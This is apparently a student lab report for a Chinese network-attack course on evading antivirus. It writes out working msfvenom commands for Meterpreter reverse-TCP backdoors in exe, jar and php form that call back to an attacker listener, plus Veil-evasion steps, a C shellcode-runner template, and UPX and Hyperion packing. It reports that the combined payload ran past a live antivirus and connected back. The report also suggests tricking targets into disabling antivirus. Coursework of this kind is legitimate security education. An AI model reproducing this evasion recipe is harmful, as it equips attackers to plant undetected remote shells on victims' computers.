2018-2019-2 20165302 《网络对抗技术》Exp3 免杀原理与实践
一,实验要求
(我是真的不知道为什么截图中都有学号和姓名信息了还要求改主机名。。。。。。而且实验要求里也没有明确说。做完之后听别人说的,肯定是不能重新截图了,要扣分就扣吧)
通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力
二,实验内容
1.了解恶意软件检测机制和免杀技术的基本原理
- 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
3.通过组合应用各种技术实现恶意代码免杀
4.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
三,实验步骤
任务一 正确使用免杀工具或技巧
1.使用msfvenom生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.80.132 LPORT=5302 -f exe > msf5302.exe

- 将exe文件复制到windows中,打开电脑管家进行杀毒,msf5302.exe被识别出来

-使用virscan进行扫描

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 x> 5302_java.jar生成jar文件

将jar文件复制到windows下,使用virscan进行扫描

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 x> 20165302.php生成php文件

将php文件复制到windows中,使用virscan进行扫描

(6666,只能重新修改一下文件名)

wtf,不知道什么情况传不上去,行吧,就这样吧
2,使用veil-evasion生成后门程序
安装veil
git clone https://github.com/Veil-Framework/Veilcd Veil/config/./setup.sh- 然后点一下,等一年,这是你没有体验过的全新版本
- 输入
veil启用 use evasionlist

use 7set LHOST 192.168.80.132set LPORT 5302generate生成文件- 设置playload的名字

生成成功

然后按照文件路径找到并复制到windows中

刚一复制到windows中,电脑管家就提示拦截到木马

- 使用virscan进行扫描

利用shellcode编程生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 -f c生成shellcode

- 利用shellcode编写一段代码,将shellcode复制进去
代码如下
unsigned char buf[] =
"此处复制粘贴之前用msf生成的buf"
int main()
{
int (*func)() = (int(*)())buf;
func();
}
i686-w64-mingw32-g++ 20165302.c -o 20165302.exe编译为可执行文件

- 将exe文件复制到windows里,使用virscan进行扫描

(然而我的电脑管家并没有检测出来,可能是它太low了)
- 使用压缩壳 upx 20165302.exe -o upxed.exe
- 使用virscan进行扫描,电脑管家还是没有发现。。。。。

- 使用加密壳
- 将upxed.exe拷贝到/usr/share/windows-binaries/hyperion/中
wine hyperion.exe -v upxed.exe upxed_Hyperion.exe

- 反弹连接

- 使用virscan扫描一下

任务二:通过组合应用各种技术实现恶意代码免杀
- 通过组合半手工制作shellcode,压缩壳,加密壳达到了免杀的目的
- 成功截图


任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功
- 实验环境,win10主机,电脑管家版本为

- 实验结果


实验体会
这次实验总体来说不是很难,但步骤比较繁琐,需要一定的耐心,通过这次实验我更好的了解了免杀的原理,掌握了免杀的实现方法,在这次实验中没出什么大问题,好在只是一些小问题,都自己解决了,我个人认为本次实验的难点就是在veil的安装和使用上,可以说只要做好了这点,本次实验就没什么难点了,可能是我运气比较好,在安装veil的过程中没有出现像其他同学那样各种各样的问题,一次成功!!!好了,总结一下本次实验的收获,这次实验我学会了使用压缩壳和加密壳,学会了半自动注入shellcode的方法,了解了免杀的几种原理,学会了version和virus totals的使用,收获还是蛮多的,虽然过程很累,但是能自己独立完成实验还是很开心的 - -
实验中遇到的问题
文件名为数字时非法,可以将文件名改为字母或字母和数字的组合
安装veil时报错,解决方法删了重新安装,虽然有点low,但能做出来就行23333
在查看压缩壳是否可以反弹连接时windows不能运行exe文件,解决方法是将exe文件设为被信任的文件就可以了
基础知识问答
1.杀软是如何检测出恶意代码的
- 基于特征码的检测,简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- 启发式恶意软件检测,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据,优点:可以检测0-day恶意软件,具有一定通用性
- 基于行为的恶意软件检测,最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为检测相当于是启发式的一种,或者是加入了行为监控的启发式
2.免杀是做什么?
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术
3.免杀的基本方法有哪些?
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
2018-2019-2 20165302 《网络对抗技术》Exp3 免杀原理与实践的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
- 20155218《网络对抗》Exp3 免杀原理与实践
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
- 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
- 20155338《网络对抗》Exp3 免杀原理与实践
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
随机推荐
- JAVA-将内容写入文件并导出到压缩包
取出数据库表中的内容写入到文件,并将所有文件写入到压缩包最终导出到指定的某目录下 //导出的压缩包格式 xxxx_date Date currentTime = new ...
- 步步深入MySQL:架构->查询执行流程->SQL解析顺序!
一.前言 一直是想知道一条SQL语句是怎么被执行的,它执行的顺序是怎样的,然后查看总结各方资料,就有了下面这一篇博文了. 本文将从MySQL总体架构--->查询执行流程--->语句执行顺序 ...
- Java开发中常用的设计模式(一)---工厂模式
一. 准备工作 1. 本文参考自 自己理解的工厂模式,希望对大家有所帮助 二. 开始 以汽车工厂为例,首先有个汽车类的接口 Car,里面有个开车的方法 drive(),然后有个宝马车的类 BMW 和 ...
- HDU2819(KB10-E 二分图最大匹配)
Swap Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)Total Submis ...
- Linux 安装mysql,mariadb,mysql主从同步
myariadb安装 centos7 mariadb的学习 在企业里面,多半不会使用阿里云的mariadb版本,因为版本太低,安全性太低,公司会配置myariadb官方的yum仓库 1.手动创建mar ...
- 《JavaScript DOM 编程艺术》读书笔记
<JS DOM 编程艺术>笔记 一. 三种节点 元素节点.文本节点.属性节点 二. 获取元素 1.document.getElementById 2.(element)document.g ...
- 微信小程序 发现之旅(三)—— 组件之间的参数传递
一.URL 传参 当使用 navigateTo() 方法跳转页面的时候,可以在 url 后面接 query 参数 然后在 Page 页面的生命周期函数 onLoad 中可以接收到这些参数 这种方式只能 ...
- 关于python操作带有中文文件名报错的解决办法
python代码的编码格式 #coding:utf-8 在操作文件时,如果文件名带有中文,则需要将文件路径以Unicode的编码格式进行操作 具体的方式如下 path = "你的 ...
- 解除mysql只有本机可以访问的限制
1.终端:sudo vim /etc/mysql/my.cnf 2.找到bind-address,注释掉(前面加#) 这里出现问题,发现my.cnf打开根本没有bind-address,但是多了两句话 ...
- HTML中的元素分类
HTML中有很多的标签(元素),可以按照这些元素在网页中所占的空间情况进行分类.具体可以这样简单的分类: 1.块级元素:指的是在网页中该元素独自占据网页的一行显示区域,即当使用了该元素后,该元素会使下 ...